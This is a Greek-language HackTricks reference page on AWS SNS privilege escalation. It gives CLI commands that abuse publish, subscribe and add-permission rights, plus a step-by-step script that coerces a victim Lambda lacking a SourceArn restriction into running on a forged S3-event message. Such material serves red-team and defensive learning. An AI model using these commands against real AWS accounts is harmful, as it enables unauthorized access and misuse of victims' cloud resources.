AWS - SNS Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

SNS

Για περισσότερες πληροφορίες δείτε:

AWS - SNS Enum

sns:Publish

Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στο SNS topic, πιθανώς προκαλώντας αλλοίωση δεδομένων, ενεργοποιώντας ανεπιθύμητες ενέργειες ή εξαντλώντας πόρους.

aws sns publish --topic-arn <value> --message <value>

Ενδεχόμενος Αντίκτυπος: Εκμετάλλευση ευπαθειών, αλλοίωση δεδομένων, ακούσιες ενέργειες ή εξάντληση πόρων.

sns:Subscribe

Ένας επιτιθέμενος θα μπορούσε να εγγραφεί σε ένα θέμα του SNS, ενδεχομένως αποκτώντας μη εξουσιοδοτημένη πρόσβαση σε μηνύματα ή διαταράσσοντας τη φυσιολογική λειτουργία εφαρμογών που βασίζονται στο θέμα.

aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>

Πιθανός Αντίκτυπος: Μη εξουσιοδοτημένη πρόσβαση σε μηνύματα (ευαίσθητες πληροφορίες), διακοπή υπηρεσίας για εφαρμογές που εξαρτώνται από το επηρεασμένο topic.

sns:AddPermission

Ένας επιτιθέμενος θα μπορούσε να χορηγήσει σε μη εξουσιοδοτημένους χρήστες ή υπηρεσίες πρόσβαση σε ένα SNS topic, ενδεχομένως αποκτώντας περαιτέρω δικαιώματα.

aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>

Ενδεχόμενος Αντίκτυπος: Μη εξουσιοδοτημένη πρόσβαση στο topic, έκθεση μηνυμάτων ή χειραγώγηση του topic από μη εξουσιοδοτημένους χρήστες ή υπηρεσίες, διατάραξη της κανονικής λειτουργίας εφαρμογών που εξαρτώνται από το topic.

Κλήση μιας Lambda με κατάχρηση wildcard δικαιώματος SNS (χωρίς SourceArn)

Εάν μια πολιτική βάσει πόρων της συνάρτησης Lambda επιτρέπει στο sns.amazonaws.com να την καλεί χωρίς να περιορίζει το source topic (SourceArn), οποιοδήποτε SNS topic (ακόμα και σε άλλο λογαριασμό) μπορεί να εγγραφεί και να ενεργοποιήσει τη συνάρτηση. Ένας επιτιθέμενος με βασικά δικαιώματα SNS μπορεί να αναγκάσει τη Lambda να εκτελεστεί υπό το IAM role της με εισόδους ελεγχόμενες από τον επιτιθέμενο.

Tip

TODO: Μπορεί αυτό πραγματικά να γίνει cross-account;

Προϋποθέσεις

  • Η πολιτική Lambda του θύματος περιέχει μια δήλωση όπως παρακάτω, χωρίς συνθήκη SourceArn:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}

Abuse βήματα (ίδιος λογαριασμός ή cross-account)

# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'

Πιθανός αντίκτυπος: Η victim Lambda εκτελείται με το IAM role της και επεξεργάζεται attacker-controlled input. Αυτό μπορεί να εκμεταλλευτεί ώστε η function να εκτελέσει ευαίσθητες ενέργειες (π.χ., write to S3, access secrets, modify resources) ανάλογα με τα permissions της.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks